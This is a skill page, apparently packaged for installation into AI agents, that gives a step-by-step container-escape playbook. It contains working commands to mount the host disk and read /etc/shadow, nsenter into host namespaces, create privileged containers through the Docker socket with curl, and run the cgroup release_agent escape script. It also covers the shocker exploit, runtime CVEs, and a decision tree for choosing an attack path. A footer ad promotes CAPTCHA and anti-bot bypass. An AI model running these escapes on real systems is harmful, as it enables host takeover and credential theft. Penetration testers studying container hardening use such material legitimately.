container-escape-techniques

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill container-escape-techniques
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

1. AM I IN A CONTAINER?

# Quick checks

cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"

ls -la /.dockerenv 2>/dev/null

cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"

hostname    # random hex = likely container

# Detailed check

cat /proc/1/status | head -5   # PID 1 is not systemd/init?

mount | grep -i "overlay"      # overlay filesystem?

ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp

./amicontained

# deepce: Docker enumeration and exploit suggester

./deepce.sh

# CDK: all-in-one container pentesting toolkit

./cdk evaluate

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged

cat /proc/self/status | grep CapEff

# CapEff: 0000003fffffffff = fully privileged

# Find host disk

fdisk -l 2>/dev/null || lsblk

# Usually /dev/sda1 or /dev/vda1

# Mount host root

mkdir -p /mnt/host

mount /dev/sda1 /mnt/host

# Access host filesystem

cat /mnt/host/etc/shadow

chroot /mnt/host bash

2.2 nsenter (Enter Host Namespaces)

# From privileged container, enter host PID 1's namespaces

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# This gives a shell in the host's namespace context

# Effectively a full host shell

2.3 Privileged + Host PID Namespace

# If hostPID: true is set (Kubernetes)

# Access host processes via /proc

ls /proc/1/root/     # Host root filesystem

cat /proc/1/root/etc/shadow

# Inject into host process

nsenter --target 1 --mount -- bash

3. CAPABILITY-BASED ESCAPE

3.1 CAP_SYS_ADMIN — Most Versatile

# Check capabilities

capsh --print 2>/dev/null

grep CapEff /proc/self/status

# Escape via mounting

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

# Or mount host filesystem if device access exists

mount /dev/sda1 /mnt/host 2>/dev/null

3.2 CAP_SYS_PTRACE — Process Injection

# Inject shellcode into a host process (requires host PID namespace)

# Find a root process

ps aux | grep root

# Use gdb or python-ptrace to inject

python3 << 'EOF'

import ctypes

import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library("c"))

# Attach to host process, inject shellcode

# ... (full inject_shellcode implementation)

EOF

3.3 CAP_NET_ADMIN

# Manipulate host network if host network namespace is shared

# ARP spoofing, route manipulation, traffic interception

iptables -L            # Can see/modify host firewall rules?

ip route               # Can modify routing?

3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)

# open_by_handle_at() bypass — read files from host

# Compile and run the "shocker" exploit

# Works when DAC_READ_SEARCH capability is granted

gcc shocker.c -o shocker

./shocker /etc/shadow   # Read host file

4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)

ls -la /var/run/docker.sock   # Check if mounted

# With Docker CLI:

docker run -v /:/host --privileged -it alpine chroot /host bash

# Without CLI (curl only) — create privileged container via API:

curl -s --unix-socket /var/run/docker.sock \

  -X POST http://localhost/containers/create \

  -H "Content-Type: application/json" \

  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,

       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)

5. CGROUP V1 RELEASE_AGENT ESCAPE

Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))

mkdir -p $d/w &#x26;&#x26; echo 1 > $d/w/notify_on_release

host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)

echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'

#!/bin/sh

cat /etc/shadow > /output 2>&#x26;1       # Or: reverse shell

EOF

chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" &#x26;&#x26; sleep 1

cat /output

6. CGROUP V2 / eBPF ESCAPE

# Cgroup v2: no release_agent file

# Check cgroup version:

mount | grep cgroup

# cgroup2 → v2

# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)

# Kernel ≥ 5.8 with unprivileged eBPF enabled

cat /proc/sys/kernel/unprivileged_bpf_disabled

# 0 = eBPF available to unprivileged users

7. NAMESPACE ESCAPE

User Namespace

# If user namespace creation is allowed inside container:

unshare -U --map-root-user bash

# Now "root" inside new namespace

# Combined with other capabilities → mount host filesystem

PID Namespace Escape

# If hostPID: true (shared PID namespace with host)

# Access host processes directly:

ls /proc/1/root/          # Host's root filesystem

cat /proc/1/root/etc/shadow

# Inject into host process:

nsenter -t 1 -m -u -i -n -p -- bash

8. RUNTIME VULNERABILITIES

runc CVE-2019-5736

Overwrites host runc binary when docker exec is used.

# Conditions: docker exec into a malicious container triggers exploit

# The container's /bin/sh is replaced with exploit binary

# When next exec happens → overwrites /usr/bin/runc on host

# PoC: modify entrypoint to overwrite runc

# This is a one-shot exploit — runc is replaced permanently

containerd CVE-2020-15257

# Host network namespace shared + containerd < 1.3.9 / 1.4.3

# Abstract Unix socket accessible from container

# Connect to containerd shim API via @/containerd-shim/*.sock

cgroups CVE-2022-0492

# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN

# release_agent writable by unprivileged user in container

9. KUBERNETES POD ESCAPE

Dangerous Pod Spec

Escape

hostPID: true

nsenter -t 1 -m -u -i -n -p -- bash

hostNetwork: true

Access node services (Kubelet, etcd) directly

hostPath: {path: /}

chroot /host bash

privileged: true

Mount host disk / nsenter

SA token with RBAC

Create new privileged pod via API

See kubernetes-pentesting for full K8s attack paths.

10. TOOLS

Tool

Purpose

URL/Command

deepce

Docker enumeration + exploit suggestions

./deepce.sh

CDK

Container/K8s exploitation toolkit

./cdk evaluate

amicontained

Show container runtime, caps, seccomp

./amicontained

PEIRATES

Kubernetes penetration testing

./peirates

BOtB

Break out the Box — auto-escape

./botb -autopwn

11. CONTAINER ESCAPE DECISION TREE

Inside a container?

│

├── Privileged mode? (CapEff = 0000003fffffffff)

│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)

│   └── Partial capabilities? Check each:

│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)

│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)

│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)

│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)

│

├── Docker socket mounted? (/var/run/docker.sock)

│   └── Yes → create privileged container (§4)

│

├── Host PID namespace shared?

│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)

│

├── Cgroup v1?

│   └── + CAP_SYS_ADMIN → release_agent escape (§5)

│

├── Runtime vulnerable?

│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)

│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)

│

├── Kernel vulnerable?

│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation

│

├── Kubernetes pod?

│   ├── Service account with elevated RBAC? → create escape pod (§9)

│   └── hostPath volume? → access host filesystem

│

└── None of the above?

    ├── Run deepce/CDK for automated detection

    ├── Check for writable host mount points

    ├── Enumerate network for other containers/services

    └── Check /proc/self/mountinfo for interesting mounts
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card